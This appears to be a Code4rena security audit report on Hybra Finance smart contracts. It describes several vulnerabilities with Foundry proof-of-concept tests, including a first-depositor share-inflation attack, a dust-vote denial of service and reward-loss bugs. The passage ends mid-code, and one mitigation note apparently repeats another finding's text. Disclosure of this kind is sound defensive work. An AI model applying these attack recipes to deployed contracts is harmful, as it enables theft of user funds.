Hybra Finance

Hybra Finance
Findings & Analysis Report

2025-11-20

Table of contents

Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Hybra Finance smart contract system. The audit took place from October 06 to October 16, 2025.

Following the C4 audit, 3 wardens (niffylord, rayss, and ZanyBonzy) reviewed the mitigations for all sponsor-confirmed issues; the mitigation review report is appended below the audit report.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 10 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 45 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Hybra Finance team.

Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. It is recommended that a follow-up audit and development of a more complex stateful test suite be undertaken prior to continuing to deploy significant monetary capital to production.

Scope

The code under review can be found within the C4 Hybra Finance repository, and is composed of 14 smart contracts written in the Solidity programming language and includes 3,846 lines of Solidity code.

The code in C4’s Hybra Finance repository was pulled from:

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] Assets deposited before calculating shares amount to mint will cause users to mint less shares

Submitted by asui, also found by 0xauditagent, 0xBugSlayer, 0xJason, 0xnija, 0xRaz, Albert, axelot, ayden, Boy2000, classic-k, dee24, EtherEngineer, harry, InvarianteX, itsravin0x, kjc, KKKKK, kmkm, KuwaTakushi, LhoussainePh, luncy, mbuba666, oct0pwn, Olami978355, OnyxAudits, piki, silver_eth, Sourav_DEV, testnate, the_haritz, Vagner, ZanyBonzy, and zcai

GovernanceHYBR.sol #L137-L144

Summary

        } else {
            // Add to existing veNFT
            IERC20(HYBR).approve(votingEscrow, amount);
            IVotingEscrow(votingEscrow).deposit_for(veTokenId, amount);

            // Extend lock to maximum duration
            _extendLockToMax();
        }
        
        // Calculate shares to mint based on current totalAssets
        uint256 shares = calculateShares(amount);
        
        // Mint gHYBR shares
        _mint(recipient, shares);

As we can see, the GovernanceHYBR::deposit function first deposits the HYBR into the votingEscrow before calculating and minting shares.

This will deposit the tokens first increasing the totalAssets() and the new totalAssets() will be used in shares = calculateShares(amount)

This results in incorrect calculation of shares for the users beause their deposits are treated as rewards and they are minted shares with the new rate and will suffer slippage from their own tokens.

Example:

  • Initially Bob has a deposit of 100 gHYBR : 100 HYBR, ie.. 1:1 shares to asset ratio
  • Alice also enter with 100 assets(HYBR),
  • In an ideal condition, Alice is expected to recieve 100 shares because the ratio is 1:1 at the time of deposit
  • but because deposit is done first before calculating shares,
  • Alice will get, shares = 100 * 100 / (100 +100) i.e. only 50 shares

Impact

Loss of assets for users by minting less shares.

Make sure that the ratio at the time of deposit must be used to calculate the shares to mint:

        IERC20(HYBR).transferFrom(msg.sender, address(this), amount);
+       uint256 shares = calculateShares(amount);
        
        // Initialize veNFT on first deposit
        if (veTokenId == 0) {
            _initializeVeNFT(amount);
        } else {
            // Add to existing veNFT
            IERC20(HYBR).approve(votingEscrow, amount);
            IVotingEscrow(votingEscrow).deposit_for(veTokenId, amount);

            // Extend lock to maximum duration
            _extendLockToMax();
        }
        
        // Calculate shares to mint based on current totalAssets
-       uint256 shares = calculateShares(amount);
Proof of concept

forge test --mt test_test_submissionValidity -vvv

    function test_submissionValidity() external {
        address bob = makeAddr("bob");
        address alice = makeAddr("alice");

        vm.startPrank(address(minter));
        hybr.mint(bob, 100e18);
        hybr.mint(alice, 100e18);
        vm.stopPrank();
        
        // bob mints gHYBR shares at 1:1 ratio
        vm.startPrank(bob);
        hybr.approve(address(gHybr), 100e18); 
        gHybr.deposit(100e18, bob);
        uint bobShares = gHybr.balanceOf(bob);
        console.log("Bob shares: ", bobShares);
        uint shareToAssetRatio = gHybr.calculateAssets(1e18);
        vm.stopPrank();

        // Alice mints gHYBR shares at 1:1 ratio but gets less shares due to the incorrect shares calculation
        vm.startPrank(alice);
        hybr.approve(address(gHybr), 100e18); 
        gHybr.deposit(100e18, alice);
        uint aliceShares = gHybr.balanceOf(alice);
        console.log("Alice shares: ", aliceShares);
        uint aliceShareToAssetRatio = gHybr.calculateAssets(1e18);
        vm.stopPrank();

        console.log("ratio after Bob deposits                                              : ", shareToAssetRatio);
        console.log("ratio after Alice deposits even when there was no rewards distribution: ", aliceShareToAssetRatio);
    }

We can see from the test console that Alice recieves less shares than bob with the same assset amount deposits.

Hybra Finance mitigated:

S-321 calculating shares use the pool ratio at the time of deposit S-352 check share is zero S- 101 too many locks check

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


Medium Risk Findings (9)

[M-01] CLFactory ignores dynamic fees above 10% and silently falls back to default

Submitted by niffylord, also found by JuggerNaut63, ljj, Nexarion, and ZanyBonzy

CLFactory.sol [#L176-L189[(https://github.com/code-423n4/2025-10-hybra-finance/blob/main/cl/contracts/core/CLFactory.sol#L176-L189)

Summary

Governance can configure DynamicSwapFeeModule with fees up to 50%, but CLFactory.getSwapFee discards any value above 100_000 ppm (10%) and falls back to the tick-spacing default (often 500 ppm = 0.05%) without reverting or logging. Operators see the module reporting 20%, yet users continue paying the tiny default fee. The silent fallback misleads governance into believing higher fees are active.

Impact

  • Governance believes a protective high fee is set (e.g., during launch anti-MEV), but the effective fee drops back to the default (e.g., 0.05%).
  • Traders are charged far less than intended, defeating protective or revenue objectives.
  • The misconfiguration has no on-chain signal, so the mistake can persist unnoticed.

Root Cause

  • getSwapFee checks fee <= 100_000; larger values are ignored and the function returns tickSpacingToFee.
  • The module itself allows feeCap up to 500_000 (50%), so governance can set a value the factory immediately discards in favor of the default.

Reference: cl/contracts/core/CLFactory.sol#L176-L189

Mitigation

  • Either revert when the module returns > 100_000 or raise the factory ceiling to match the module’s cap.
  • Emit events or add admin tooling to surface out-of-range configurations so operators can correct them.
Proof of concept ```bash cd cl forge test --match-path test/PoC_DynamicFee_ClampToDefault.t.sol -vvv ``` The PoC lifts the module cap, sets a 20% custom fee, and shows that `DynamicSwapFeeModule.getFee` returns 200_000 while `CLFactory.getSwapFee` still returns the base 500 ppm.

PoC source (cl/test/PoC_DynamicFee_ClampToDefault.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;

import "forge-std/Test.sol";

import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import {DynamicSwapFeeModule} from "contracts/core/fees/DynamicSwapFeeModule.sol";

contract PoC_DynamicFee_ClampToDefault is C4PoCTestbed {
    address internal pool;

    function setUp() public override {
        super.setUp();
        pool = poolFactory.createPool(USDC, DAI, 100, uint160(2**96));
        require(pool != address(0), "pool not created");
    }

    function testFactoryClampsFeeAboveTenPercent() public {
        address manager = poolFactory.swapFeeManager();
        vm.prank(manager);
        swapFeeModule.setFeeCap(pool, 500_000); // raise module cap to 50%
        vm.prank(manager);
        swapFeeModule.setScalingFactor(pool, 1); // ensure positive TWAP delta doesn't zero fee

        uint24 highFee = 200_000; // 20%
        vm.prank(manager);
        swapFeeModule.setCustomFee(pool, highFee);

        uint24 moduleFee = swapFeeModule.getFee(pool);
        assertEq(uint256(moduleFee), uint256(highFee), "module reports configured fee");

        uint24 factoryFee = poolFactory.getSwapFee(pool);
        assertEq(uint256(factoryFee), 500, "factory silently clamps to tick-spacing default");
    }
}

Hybra Finance mitigated:

Added setMaxFee() function to make the fee cap configurable by the owner (up to 50%). This replaces the hardcoded limit and allows governance to adjust the maximum dynamic fee when needed.

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


[M-02] Users emergency withdrawing will lose all past accrued rewards

Submitted by Huntoor, also found by ayden, dee24, kimnoic, Nyxaris, Olami978355, rayss

This issue was also found by V12.

https://github.com/code-423n4/2025-10-hybra-finance/blob/6299bfbc089158221e5c645d4aaceceea474f5be/ve33/contracts/GaugeV2.sol#L270-L281

Summary

in the GaugeV2 contract, if the contract was emergency activated, users calling emergencyWithdraw() will lose all past accrued rewards that didn’t have updateReward() called on it previously

for a user to earn rewards, he gets his mappings updated here

    modifier updateReward(address account) {
        rewardPerTokenStored = rewardPerToken();
        lastUpdateTime = lastTimeRewardApplicable();
        if (account != address(0)) {
            rewards[account] = earned(account);
            userRewardPerTokenPaid[account] = rewardPerTokenStored;
        }
        _;
    }

as we see above, rewards mapping is registered as the return data from earned(), and when we look at it we see

    function earned(address account) public view returns (uint256) {
        return rewards[account] + _balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18;  
    }

we see that it returns old rewards + current balance of the user multiplied by the rewardPerToken (abstractly)

so what happen will be as follows:

  1. User stake 100e18 tokens
  2. emergency activated
  3. he had already earnt before the emergency 10e18 tokens not registered on his rewards mapping since he didn’t call deposit/withdraw/getRewards to update his rewards
  4. call emergencyWithdraw and his balance now is 0.
  5. now earned() function return 0 rewards since his balance is 0 * rewardPerToken = 0

also the left-off rewards tokens are stuck in the contract forever.

Impact: Loss of rewards for users and stuck reward tokens in the contract

Add the updateReward modifier to the emergencyWithdraw() call

Proof of concept paste in `ve33/test/C4PoC.t.sol`
    function test_emergencyWithdraw_strandsRewardsAndBurnsUserAccrual()
        external
    {
        vm.startPrank(address(this));

        // Use HYBR both as staking TOKEN and rewardToken for simplicity
        // We have HYBR minted to this test from setup_InitMinter()
        uint256 initialHybr = hybr.balanceOf(address(this));
        assertGt(initialHybr, 0, "expected HYBR from initial mint");

        // Deploy GaugeV2
        GaugeV2 gauge = new GaugeV2(
            address(hybr),
            address(rewardHybr), 
            address(votingEscrow), 
            address(hybr), 
            address(this),
            address(0), 
            address(0), 
            false 
        );

        // Stake HYBR
        uint256 stakeAmount = 100 ether;
        hybr.approve(address(gauge), type(uint256).max);
        gauge.deposit(stakeAmount);

        // Fund rewards
        uint256 rewardAmount = 1_000 ether;
        hybr.approve(address(gauge), rewardAmount);
        gauge.notifyRewardAmount(address(hybr), rewardAmount);

        // Accrue some rewards
        vm.warp(block.timestamp + 7 days / 14);

        uint256 accruedBefore = gauge.earned(address(this));
        assertGt(
            accruedBefore,
            0,
            "accrued must be > 0 before emergencyWithdraw"
        );

        // Enable emergency and withdraw
        gauge.activateEmergencyMode();
        gauge.emergencyWithdraw();

uint256 accruedAfter = gauge.earned(address(this));
        assertEq(
            accruedAfter,
            0,
            "accrued should be zero after emergencyWithdraw"
        );

uint256 stuckRewards = hybr.balanceOf(address(gauge));
        assertGt(stuckRewards, 0, "reward tokens remain stuck in gauge");

        vm.stopPrank();
    }

Hybra Finance disputed this finding.


[M-03] First depositor attack possible through multiple attack paths because the deposit function does not check 0 shares received

Submitted by asui, also found by 0xBugSlayer, 0xDemon, 0xPSB, Almanax, ayden, blokfrank, classic-k, CoheeYang, EtherEngineer, fullstop, Huntoor, ibrahimatix0x01, IzuMan, kestyvickky, khaye26, MoZi, odeili, osok, piki, queen, reidnerFM, rzizah, Sancybars, Sejin, shieldrey, silver_eth, the_haritz, zoox, and zubyoz

Summary

The gHYBR contract is just another veNFT position holder from the perspective of votingEscrow contract, while the gHYBR contract acts as a vault.

And the deposit does not ensure that we mint at least one gHYBR share. This can lead to a contdition where the first depositor attacks another user.

Example:

  • Alice deposits dust shares, 1 share : 1 asset
  • Alice donates 1000e18 assets before Bob deposits, through deposit_for, and he increased the ratio by 1 shares : 1000e18 assets
  • Bob deposits 100e18 assets, the shares calculation goes 100e18 * 1 / 1000e18 and rounds down to 0
  • Receives 0 shares
  • All bob’s deposit is captured by Alice’s shares
  • Bob deposits 100e18 assets and receives 0 shares
  • Alice has 1 share worth 1000e18 + 100e18(bob's) assets

The entry points the attacker can use to perform this attack are:

  1. The votingEscrow contract allows anyone to deposit assets for any position through its public deposit_for(uint _tokenId, uint _value) external nonreentrant function.
  2. The receivePenaltyReward function in GovernanceHYBR contract lacks access controll, which allows an attacker to donate to increase totalAssets.
  3. Attacker can utilize multiSplit through withdraw, by first depositing 1000:1000 and withdrawing so that the leftover is 1:1 ratio dust.

My best suggestion is to require share > 0 in the deposit function in the GovernanceHYBR contract, and also add access control for the receivePenaltyReward function.

Proof of concept
    function test_submissionValidity() external {
        // first depositor attack
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        vm.startPrank(address(minter));
        hybr.mint(alice, 2000e18);
        hybr.mint(bob, 100e18);
        vm.stopPrank();

        vm.startPrank(alice);
        hybr.approve(address(gHybr), type(uint).max);
        gHybr.deposit(2, alice);

        hybr.transfer(address(gHybr), 1000e18); // alice transfers 1000 HYBR to gHYBR
        gHybr.receivePenaltyReward(1000e18); // alice donates 1000 through the receivePenaltyReward function
        vm.stopPrank();
        
        // bob deposits 
        vm.startPrank(bob);
        hybr.approve(address(gHybr),100e18);
        gHybr.deposit(100e18, bob);
        vm.stopPrank();

        console.log("alice's shares: ",gHybr.balanceOf(alice));
        console.log("bob's shares: ",gHybr.balanceOf(bob));
        console.log("gHYBR total assets: ",gHybr.totalAssets());
    }

Run this test and see the result :

  • Alice’s shares: 2
  • Bob’s shares: 0
  • gHYBR total assets: 1100000000000000000002

Alice captures all of Bob’s deposits.

Here, Alice used the receivePenaltyReward to donate and increase totalAssets. I want to show why access control is needed on receivePenaltyReward, Alice can also use other means to increase the totalAssets, like the ones mentioned above.

Note that the share calcuation is wrong, which makes the atack possible without even donation: i.e., first depositor only needs to deposit 1 dust asset for 1 share and he will capture all the send depositor’s tokens. But this is another issue and different from this one; this one will work even after the other one is fixed.

Hybra Finance mitigated:

Added setMaxFee() function to make the fee cap configurable by the owner (up to 50%). This replaces the hardcoded limit and allows governance to adjust the maximum dynamic fee when needed.

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


[M-04] Dust vote on one pool prevents poke()

Submitted by Huntoor, also found by 0xDjango, OpaBatyo, and Vagner

VoterV3.sol #L208-L211

Summary

before describing the vulnerability, we should know that in ve3.3 systems, poke is important to make anyone reflect the decaying vote weight to prevent users from being inactive on votes to have their full weight votes on a pool.

in VoterV3 users chose what pools they want to vote for and the contract retrieve their ve weight upon doing so

        uint256 _weight = IVotingEscrow(_ve).balanceOfNFT(_tokenId);

and upon voting for a pool, that weight affect the claimable share distribution of that pool compared to other pools

File: GaugeManager.sol
376:         uint256 _supplied = IVoter(voter).weights(_pool);
377: 
378:         if (_supplied > 0) {
379:             uint256 _supplyIndex = supplyIndex[_gauge];
380:             uint256 _index = index; // get global index0 for accumulated distro
381:             // SupplyIndex will be updated for Killed Gauges as well so we don't need to udpate index while reviving gauge.
382:             supplyIndex[_gauge] = _index; // update _gauge current position to global position
383:             uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
384:             if (_delta > 0) {
385:                 uint256 _share = _supplied * _delta / 1e18; // add accrued difference for each supplied token
386:                 if (isAlive[_gauge]) {
387:                     claimable[_gauge] += _share;

since now we now the importance of the voting weight, and since ve NFT weight decay with time, there is a poke function to update the voting weight made on a pool previously to the decayed weight of than NFT

The poke() function is guarded to be called by the owner or through the ve contract which can have any one depositing for a user or increasing his locked value even by 1wei to poke him to reflect his new decayed weight on the voted pools

An attacker can do the following:

  1. vote his full weight - 1weion a dedicated pool
  2. vote 1 wei on another pool
  3. time passes with inactivity from his side - his ve decay but is not reflected on voted pools
  4. users try to poke() him through known functions of the ve contract
  5. poke() function revert here
File: VoterV3.sol
208:                 uint256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;
209: 
210:                 require(votes[_tokenId][_pool] == 0, "ZV");
211:                 require(_poolWeight != 0, "ZV");

since the 1wei vote multiplied by the decayed weight divided by totalVoteWeight round down to 0, hence this users become unpokable.

Impact

the voted for pool will have inflated rewards distributed to him compared to other pools that have pokable users. thinking of this attack at scale

the user will have advantage of having full voting weight if he vote immediately like having permanent lock weight without actually locking his balance permanently. preventing any one from preserving this invariant A single veNFT’s total vote allocation ≤ its available voting power. on his vote balance too

Change the require statement to if statement such that

if (_poolWeight = 0) continue;

so we neglect the dust voted pool.

Proof of concept The following lines were commented during test setup, but they are irrelevant to the bug. ```solidity File: VoterV3.sol 160: if (_timestamp <= HybraTimeLibrary.epochVoteStart(_timestamp)){ 161: revert("DW"); 162: } ``` and ```solidity File: VoterV3.sol 235: if (HybraTimeLibrary.epochStart(block.timestamp) <= lastVoted[_tokenId]) revert("VOTED"); 236: if (block.timestamp <= HybraTimeLibrary.epochVoteStart(block.timestamp)) revert("DW"); ```

Paste in ve33\test\C4PoC.t.sol and run with forge test --mt test_dustVote_makesPokeDOS_dueToZeroPoolWeight -vvvv

    function test_dustVote_makesPokeDOS_dueToZeroPoolWeight() external {
        // Ensure BribeFactory is initialized so GaugeManager can create bribes during gauge creation
        BribeFactoryV3(address(bribeFactoryV3)).initialize(
            address(voter),
            address(gaugeManager),
            address(permissionsRegistry),
            address(tokenHandler)
        );

        // Grant roles to allow token whitelisting and connector setup
        permissionsRegistry.setRoleFor(address(this), "GOVERNANCE");
        permissionsRegistry.setRoleFor(address(this), "GENESIS_MANAGER");

        // Whitelist tokens and set connector (HYBR as connector)
        address[] memory toks = new address[](3);
        toks[0] = address(hybr);
        toks[1] = address(gHybr);
        toks[2] = address(rewardHybr);
        tokenHandler.whitelistTokens(toks);
        tokenHandler.whitelistConnector(address(hybr));

        // Create two pairs using HYBR as common connector token
        address pair0 = thenaFiFactory.createPair(
            address(hybr),
            address(gHybr),
            false
        );
        address pair1 = thenaFiFactory.createPair(
            address(hybr),
            address(rewardHybr),
            false
        );

        // Create gauges for both pairs so voter recognizes them as alive pools
        gaugeManager.createGauge(pair0, 0);
        gaugeManager.createGauge(pair1, 0);

        // Create a veNFT lock
        uint256 lockAmount = 1e18;
        hybr.approve(address(votingEscrow), lockAmount);
        uint tokenId = votingEscrow.create_lock(lockAmount, 2 weeks);

        // Vote with dust on one pool to set up zero rounding on subsequent poke
        address[] memory pools = new address[](2);
        pools[0] = pair0;
        pools[1] = pair1;
        uint256[] memory weights = new uint256[](2);
        weights[0] = 1e16 - 1;
        weights[1] = 1; // dust

        // Ensure we are past vote start window
        voter.vote(tokenId, pools, weights);

        // Advance time slightly so the NFT balance decays and dust path rounds to zero
        vm.warp(block.timestamp + 3);

        vm.expectRevert(bytes("ZV")); // _poolWeight != 0 reverts with "ZV"
        voter.poke(tokenId);
    }

results output

    ├─ [333085] TransparentUpgradeableProxy::fallback(1)
    │   ├─ [332496] VoterV3::poke(1) [delegatecall]
    │   │   ├─ [1409] VotingEscrow::isApprovedOrOwner(C4PoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   ├─ [5575] Bribe::withdraw(19178066335817607 [1.917e16], 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 19178066335817607 [1.917e16])
    │   │   │   └─ ← [Stop]
    │   │   ├─ [5575] Bribe::withdraw(19178066335817607 [1.917e16], 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 19178066335817607 [1.917e16])
    │   │   │   └─ ← [Stop]
    │   │   ├─ emit Abstained(tokenId: 1, weight: 19178066335817607 [1.917e16])
    │   │   ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0x0d7c1cb36989951d1E1e36A70F1c1d0FA4d53683]
    │   │   │   └─ ← [Return] Bribe: [0x0d7c1cb36989951d1E1e36A70F1c1d0FA4d53683]
    │   │   ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0xf3E8FF27525DA780bf18f6038bf0BEFA99FEdF01]
    │   │   │   └─ ← [Return] Bribe: [0xf3E8FF27525DA780bf18f6038bf0BEFA99FEdF01]
    │   │   ├─ [5575] Bribe::withdraw(1, 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 1)
    │   │   │   └─ ← [Stop]
    │   │   ├─ [5575] Bribe::withdraw(1, 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 1)
    │   │   │   └─ ← [Stop]
    │   │   ├─ emit Abstained(tokenId: 1, weight: 1)
    │   │   ├─ [5410] VotingEscrow::balanceOfNFT(1) [staticcall]
    │   │   │   ├─ [3145] VotingBalanceLogic::balanceOfNFT(1, 4, 13) [delegatecall]
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000044224e74595524
    │   │   │   └─ ← [Return] 19178018771129636 [1.917e16]
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   ├─ [85352] Bribe::deposit(19178018771129635 [1.917e16], 1)
    │   │   │   ├─ emit Staked(tokenId: 1, amount: 19178018771129635 [1.917e16])
    │   │   │   └─ ← [Return]
    │   │   ├─ [85352] Bribe::deposit(19178018771129635 [1.917e16], 1)
    │   │   │   ├─ emit Staked(tokenId: 1, amount: 19178018771129635 [1.917e16])
    │   │   │   └─ ← [Return]
    │   │   ├─ emit Voted(voter: C4PoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenId: 1, weight: 19178018771129635 [1.917e16])
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   └─ ← [Revert] ZV
    │   └─ ← [Revert] ZV
    └─ ← [Return]

Hybra Finance disputed this issue.


[M-05] Rollover rewards are permanently lost due to flawed rewardRate calculation

Submitted by osok, also found by Ibukun, odeili

This issue was also found by V12.

GaugeCL.sol #L256

Summary

The notifyRewardAmount() function miscalculates the rewardRate when a new epoch begins, causing rollover rewards from previous epochs to be permanently lost.

When block.timestamp >= _periodFinish, the function adds both the new rewardAmount and the previous epoch’s clPool.rollover() to form the totalRewardAmount. However, the rewardRate is derived only from rewardAmount, ignoring the rollover portion:

// @audit The total amount to be reserved includes rollover...
uint256 totalRewardAmount = rewardAmount + clPool.rollover();
if (block.timestamp >= _periodFinish) {
    // @audit but the rate calculation completely ignores the rollover.
    rewardRate = rewardAmount / epochTimeRemaining;
    
    // @audit The pool is synced with a CORRECT reserve but an INCORRECTLY LOW rate.
    clPool.syncReward({
        rewardRate: rewardRate,
        rewardReserve: totalRewardAmount, // Correct total
        periodFinish: epochEndTimestamp
    });
}

This mismatch means the pool receives the full reserve (new + rollover) but emits rewards too slowly to deplete it. The rollover portion remains stranded, and when the next epoch begins, it is overwritten and effectively erased. The logic in the else branch fails to correct this issue; instead, it perpetuates the error. The updated rate is calculated using the old, already flawed rewardRate, ensuring that once rollover funds are stranded, they can never be reclaimed through subsequent reward notifications.

Impact

  1. Permanent Loss of Funds: Unclaimed rollover rewards are locked in the contract and cannot be recovered.
  2. Reduced LP Yields: Liquidity providers earn less than intended, as part of their entitled rewards never distribute.
  3. Protocol Resource Waste: Tokens from the treasury or partners are effectively burned, wasting incentive funds.

The rewardRate calculation should include the rollover amount to ensure the emission rate matches the total rewards available for distribution. This change guarantees that all rollover rewards are correctly accounted for and eventually distributed. In GaugeCL.sol:

-   rewardRate = rewardAmount / epochTimeRemaining;
+   rewardRate = totalRewardAmount / epochTimeRemaining;
    clPool.syncReward({
        rewardRate: rewardRate,
        rewardReserve: totalRewardAmount,
        periodFinish: epochEndTimestamp })
Proof of concept

The following test reproduces the issue in three steps:

  1. Add 100 ether as rewards, then warp time forward so the entire amount becomes rollover.
  2. Add 50 ether as new rewards, triggering the flawed logic. The CLPool’s reserve is now 150 ether, but the rate only allows 50 ether to be distributed.
  3. After another time warp and update, the pool’s accounted reserve is ~50 ether, while the actual gauge balance is 150 ether. The ~100 ether difference represents the permanently lost rewards.
  4. Copy the test below into cl/test/C4PoC.t.sol, then run: forge test --mt test_PoC_RolloverRewardsAreLost -vv

    import "forge-std/Test.sol";
    import "forge-std/console2.sol"; // Using console2 for better compatibility
    import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";

import {MockERC20} from “contracts/mocks/MockERC20.sol”; import {ICLPool} from “contracts/core/interfaces/ICLPool.sol”; import {INonfungiblePositionManager} from “contracts/periphery/interfaces/INonfungiblePositionManager.sol”;

// ========================================================================================= // MOCK CONTRACT FOR THE POC // Purpose: This mock contract isolates the specific vulnerable function from the full // CLGauge contract. This allows for a focused test that is easy to understand and audit. // =========================================================================================

contract MockVulnerableCLGauge_Rollover { ICLPool public immutable clPool; MockERC20 public immutable rewardToken; address public immutable DISTRIBUTION;

uint256 public _periodFinish;
uint256 public rewardRate;

constructor(address _clPool, address _rewardToken, address _distribution) {
    clPool = ICLPool(_clPool);
    rewardToken = MockERC20(_rewardToken);
    DISTRIBUTION = _distribution;
}

function _epochNext(uint256 timestamp) internal pure returns (uint256) {
    uint256 week = 604800;
    return ((timestamp / week) + 1) * week;
}

// THE VULNERABLE FUNCTION: A direct copy of the buggy logic from the original CLGauge contract
function notifyRewardAmount(address token, uint256 rewardAmount) external {
    require(msg.sender == DISTRIBUTION, "Only distribution");
    require(token == address(rewardToken), "Invalid reward token");
    clPool.updateRewardsGrowthGlobal();
    uint256 epochTimeRemaining = _epochNext(block.timestamp) - block.timestamp;
    uint256 epochEndTimestamp = block.timestamp + epochTimeRemaining;
    uint256 totalRewardAmount = rewardAmount + clPool.rollover();
    if (block.timestamp >= _periodFinish) {

        // `rewardRate` is calculated using ONLY the new `rewardAmount`.
        // It completely ignores the `clPool.rollover()` amount that was just calculated.
        rewardRate = rewardAmount / epochTimeRemaining;

        // The pool is synced with a CORRECT `rewardReserve` (including rollover)
        // but an INCORRECTLY LOW `rewardRate`. This mismatch is the root cause of the fund loss.
        clPool.syncReward({
            rewardRate: rewardRate,
